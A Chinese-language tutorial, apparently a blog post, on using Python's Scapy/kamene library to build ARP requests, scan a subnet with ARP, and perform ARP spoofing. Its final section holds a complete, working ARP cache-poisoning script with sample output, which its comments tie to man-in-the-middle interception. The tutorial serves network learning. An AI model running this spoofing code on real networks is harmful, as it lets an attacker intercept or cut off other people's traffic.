用Python构造ARP请求、扫描、欺骗

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0. ARP介绍

ARP示意图.jpg

首先，先回忆下TCP/IP模型，从下到上分为：数据链路层、网络层、传输层、应用层，那么ARP到底属于哪一层？有人会说是网络层，但实际是属于数据链路层，只不过还要为网络层提供服务。

ARP的主要用途是IP(32bit)地址到物理MAC(48bit)地址的映射关系。别看表面主机知道了远端IP地址就可以通信，实则先要知道远端的MAC地址(借助ARP)，通过网卡到交换机构建数据链路层通信，再通过上层进行数据交互。

另外，你可能会了解到代理ARP、免费ARP、RARP这些，其中你都能搞明白他们工作原理是怎么样的嘛？
这里咱们简单回顾一下：

• 代理ARP：一般路由器通常充当代理角色，代替远端主机响应本地的ARP请求；
• 免费ARP：一种特殊ARP请求报文，用于检测IP冲突、硬件地址变更触发免费ARP；
• RARP：与ARP相反，主要用于无盘工作站，请求物理MAC(48bit)地址到IP(32bit)地址的映射；

1. Scapy简述

Scapy是一个Python语言编写的工具，也是一个强大的交付式数据包处理程序，能够伪造或者解码大量的网络协议数据包，能够发送、嗅探、剖析和伪造网络数据包，如端口扫描、路由跟踪、探测、攻击或网络发现等。使用Scapy可以替代hping、arpspoof、arp-sk、arping、p0f等功能，甚至可以代替nmap、tcpdump和tshark的部分功能。此外，Scapy还有很多其他工具没有的特性，如发送无效数据帧、注入修改的802.11数据帧、在WEB上解码加密通道(VOIP)、ARP缓存攻击(VLAN)等。

Scapy的主要功能如下：

• Scanning（扫描）
• Fingerprinting（识别）
• Testing（测试）
• Packet forging（包铸造）
• Attacking（攻击）
• Sniffing（抓包分析）

收发数据包介绍：

• sr()：发送三层数据包，等待接受一个或者多个数据包的响应。
• sr1( )：发送三层数据包，并仅仅只等待接受一个数据包的响应。
• srp()：发送二层数据包，并且等待响应。
• send()：仅仅发送三层数据包，系统会自动处理路由和二层信息。
• sendp()：发送二层数据包。

作为网工，你是不是经常抓包来分析某协议头部结构，现在就可以用Scapy来构造发送数据包啦。

在python3的环境下，现在叫法是 Kamene，之前叫做Scapy。

2. Scapy简单演示

2.1 安装

pip3 install -i https://pypi.douban.com/simple/ kamene  #使用豆瓣源进行安装kamene

说明：强烈建议在linux环境下安装及测试(我用的是ubuntu 16)。

2.2 构造包演示

2.2.1 进入kamene交互界面

#安装好后，直接通过kamene进入，类似python交互式界面
root@ubuntu:~# kamene
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
INFO: Please, report issues to https://github.com/phaethon/kamene
WARNING: IPython not available. Using standard Python shell instead.
Welcome to kamene (3.0.0)
>>> 

2.2.2 查看以太网头部

>>> Ether()

>>> _.show()    #'_' 下划线表示上一条命令执行的结果，通过show()展示结果
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
  dst= ff:ff:ff:ff:ff:ff
  src= 00:00:00:00:00:00
  type= 0x9000

2.2.3 查看 ICMP 头部

>>> ICMP()

>>> _.show()
###[ ICMP ]###
  type= echo-request
  code= 0
  chksum= None
  id= 0x0
  seq= 0x0

2.2.4 查看 IP 头部

>>> IP()

>>> _.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\

2.2.5 查看 TCP/UDP 头部

>>> TCP()

>>> _.show()
###[ TCP ]###
  sport= ftp_data
  dport= http
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= {}
    
>>> UDP()

>>> _.show()
###[ UDP ]###
  sport= domain
  dport= domain
  len= None
  chksum= None

2.2.6 简单构造 ICMP 包

#通过 '/' 可叠加多个协议层(左底层到由上层)，如Ether()/IP()/UDP()/DNS()
>>> p = sr1(IP(src='192.168.8.128' , dst='192.168.8.254')/ICMP()/b'This is a ICMP packet')
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ IP ]###
  version= 4
  ihl= 5
  tos= 0x0
  len= 49
  id= 1909
  flags= 
  frag= 0
  ttl= 128
  proto= icmp
  chksum= 0xa088
  src= 192.168.8.254
  dst= 192.168.8.128
  \options\
###[ ICMP ]###
     type= echo-reply       #收到一个replay包
     code= 0
     chksum= 0x55ad
     id= 0x0
     seq= 0x0
###[ Raw ]###
        load= 'This is a ICMP packet'

2.2.7 简单 构造 ARP 包

先看下ARP包的格式：

>>> ARP()

>>> _.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800  #协议号
  hwlen= 6
  plen= 4
  op= who-has   #op=1表示Request，op=2表示Response
  hwsrc= 00:0c:29:5d:2f:55  #源MAC地址
  psrc= 192.168.8.128   #源IP地址
  hwdst= 00:00:00:00:00:00  #初始目的为广播地址
  pdst= 0.0.0.0     #缺省为空

简单构造 ARP 请求包：

>>> p = sr1(ARP(psrc='192.168.8.128',pdst='192.168.8.254'))
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
>>> p.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800
  hwlen= 6
  plen= 4
  op= is-at
  hwsrc= 00:50:56:e7:d0:87
  psrc= 192.168.8.254
  hwdst= 00:0c:29:5d:2f:55  #返回的是arp响应包，获取到目的映射的MAC地址
  pdst= 192.168.8.128
###[ Padding ]###
     load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

接下来，咱们玩点复杂的。。。

3. 构造 ARP 请求

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
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import logging

logging.getLogger("kamene.runtime").setLevel(logging.ERROR)  # 清除报错
from kamene.all import *
from Tools.Get_address import get_ip_address  # 获取本机IP地址
from Tools.Get_address import get_mac_address  # 获取本机MAC地址
from Tools.Scapy_iface import scapy_iface  # 获取scapy iface的名字


def arp_request(dst_addr, ifname):
    # 获取本机IP地址
    local_ip = get_ip_address(ifname)
    # 获取本机MAC地址
    local_mac = get_mac_address(ifname)
    try: 
        # 发送ARP请求并等待响应
        #op=1表示请求，op=2表示响应
        #当op=1,hwsrc=表示本地mac，hwdst表示广播(首包)，psrc表示本地IP，pdst表示目的IP
        result_raw = sr1(ARP(op=1,
                             hwsrc=local_mac,
                             hwdst='00:00:00:00:00:00',
                             psrc=local_ip,
                             pdst=dst_addr),
                         iface=scapy_iface(ifname),
                         timeout=1,
                         verbose=False)
        print(result_raw.show())
        #返回目的IP地址，和目的MAC地址，getlayer(ARP)取整个ARP数据包，
        return dst_addr, result_raw.getlayer(ARP).fields.get('hwsrc')

    except AttributeError:
        return dst_addr, None


if __name__ == "__main__":
    # Windows Linux均可使用
    # arp_result = arp_request('192.168.100.1', "WLAN")
    arp_result = arp_request('192.168.8.254', "ens32")
    print("IP地址:", arp_result[0], "MAC地址:", arp_result[1])

运行结果如下：

IP地址: 192.168.8.254 MAC地址: 00:50:56:e7:d0:87

4. 构造 ARP 扫描

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
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import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)
import ipaddress
from multiprocessing.pool import ThreadPool     #多线程
from ARP_Request import arp_request     #返回IP 和 MAC


def arp_scan(network,ifname):
    #要扫描的网段
    net = ipaddress.ip_network(network , strict=False)
    #空列表，存放字符串IP地址
    ip_list = []
    for ip in net:
        ip_list.append(str(ip))     #ip格式转为str，放入ip_list

    pool = ThreadPool(processes=100)    #线程池并发100
    result = []
    for i in ip_list:
        result.append(pool.apply_async(arp_request , args=(i,ifname)))
    pool.close()
    pool.join()

    #存放活跃的IP与MAC的字典
    scan_dict = {}
    for r in result:
        if r.get()[1] is not None:
            scan_dict[r.get()[0]] = r.get()[1]
    # print(scan_dict)
    return scan_dict

if __name__ == '__main__':
    net = '192.168.8.0/24'
    name = 'ens32'
    import time
    start_time = time.time()
    print("活动IP地址如下：")
    for ip , mac in arp_scan(network=net,ifname=name).items():
        print("IP地址： {} 是活动的，MAC地址是 {}".format(ip , mac))
    end_time = time.time()
    print('本次扫描花费时间：%.2f' % (end_time - start_time))

运行结果如下：

活动IP地址如下：
IP地址： 192.168.8.1 是活动的，MAC地址是 00:50:56:c0:00:08
IP地址： 192.168.8.254 是活动的，MAC地址是 00:50:56:e7:d0:87
本次扫描花费时间：14.52

5. 构造 ARP 欺骗

#!/usr/bin/env python3
#-*- coding:UTF-8 -*-
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import logging
logging.getLogger("kamene.runtime").setLevel(logging.ERROR)  # 清除报错

from kamene.all import *
from Tools.Get_address import get_ip_address  # 导入获取本机IP地址方法
from Tools.Get_address import get_mac_address  # 导入获取本机MAC地址方法
from ARP_Request import arp_request  # 导入之前创建的ARP请求脚本
from Tools.Scapy_iface import scapy_iface  # 获取scapy iface的名字
import time
import signal


def arp_spoof(ip_1,ip_2,ifname='ens35'):
    # 申明全局变量
    global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    #赋值到全局变量
    #dst_1_ip为被毒化ARP设备的IP地址，dst_ip_2为本机伪装设备的IP地址
    #local_ifname为攻击者使用的网口名字
    dst_1_ip, dst_2_ip, local_ifname= ip_1, ip_2, ifname

    # 获取本机IP和MAC地址，并且赋值到全局变量
    localip, localmac= get_ip_address(ifname), get_mac_address(ifname)

    # 获取被欺骗ip_1的MAC地址，真实网关ip_2的MAC地址
    dst_1_mac, dst_2_mac = arp_request(ip_1,ifname)[1], arp_request(ip_2,ifname)[1]

    # 引入信号处理机制，如果出现ctl+c（signal.SIGINT），使用sigint_handler这个方法进行处理
    signal.signal(signal.SIGINT, sigint_handler)

    while True:  # 一直攻击，直到ctl+c出现！！！
        # op=2,响应ARP
        sendp(Ether(src=localmac, dst=dst_1_mac) / ARP(op=2, hwsrc=localmac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
              iface=scapy_iface(local_ifname),
              verbose=False)

        print("发送ARP欺骗数据包！欺骗{} , {}的MAC地址已经是我本机{}的MAC地址啦!!!".format(ip_1,ip_2,ifname))
        time.sleep(1)


# 定义处理方法
def sigint_handler(signum, frame):
    # 申明全局变量
    global localip, localmac, dst_1_ip , dst_1_mac, dst_2_ip , dst_2_mac , local_ifname

    print("\n执行恢复操作！！！")
    # 发送ARP数据包，恢复被毒化设备的ARP缓存
    sendp(Ether(src=dst_2_mac, dst=dst_1_mac) / ARP(op=2, hwsrc=dst_2_mac, hwdst=dst_1_mac, psrc=dst_2_ip, pdst=dst_1_ip),
          iface=scapy_iface(local_ifname),
          verbose=False)
    print("已经恢复 {} 的ARP缓存啦".format(dst_1_ip))
    # 退出程序，跳出while True
    sys.exit()

if __name__ == "__main__":
    # 欺骗192.168.1.101,让它认为192.168.1.102的MAC地址为本机攻击者的MAC
    #如果攻击者没有路由通信就会中断，如有路由就可以窃取双方通信的信息(所谓中间人)
    arp_spoof('192.168.1.101' , '192.168.1.102' , 'ens35')

运行结果如下：

发送ARP欺骗数据包！欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包！欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包！欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包！欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
发送ARP欺骗数据包！欺骗192.168.1.101 , 192.168.1.102的MAC地址已经是我本机ens35的MAC地址啦!!!
^C
执行恢复操作！！！
已经恢复 192.168.1.101 的ARP缓存啦

ARP高速缓存表被欺骗前后效果图：

ARP欺骗01.jpg

备注：持续发送ARP响应包，设备收到最新的就会更新本地ARP缓存表，所以ARP安全性太低了。

附录：

官方学习资源
https://scapy.net/
http://github.com/phaethon/kamene

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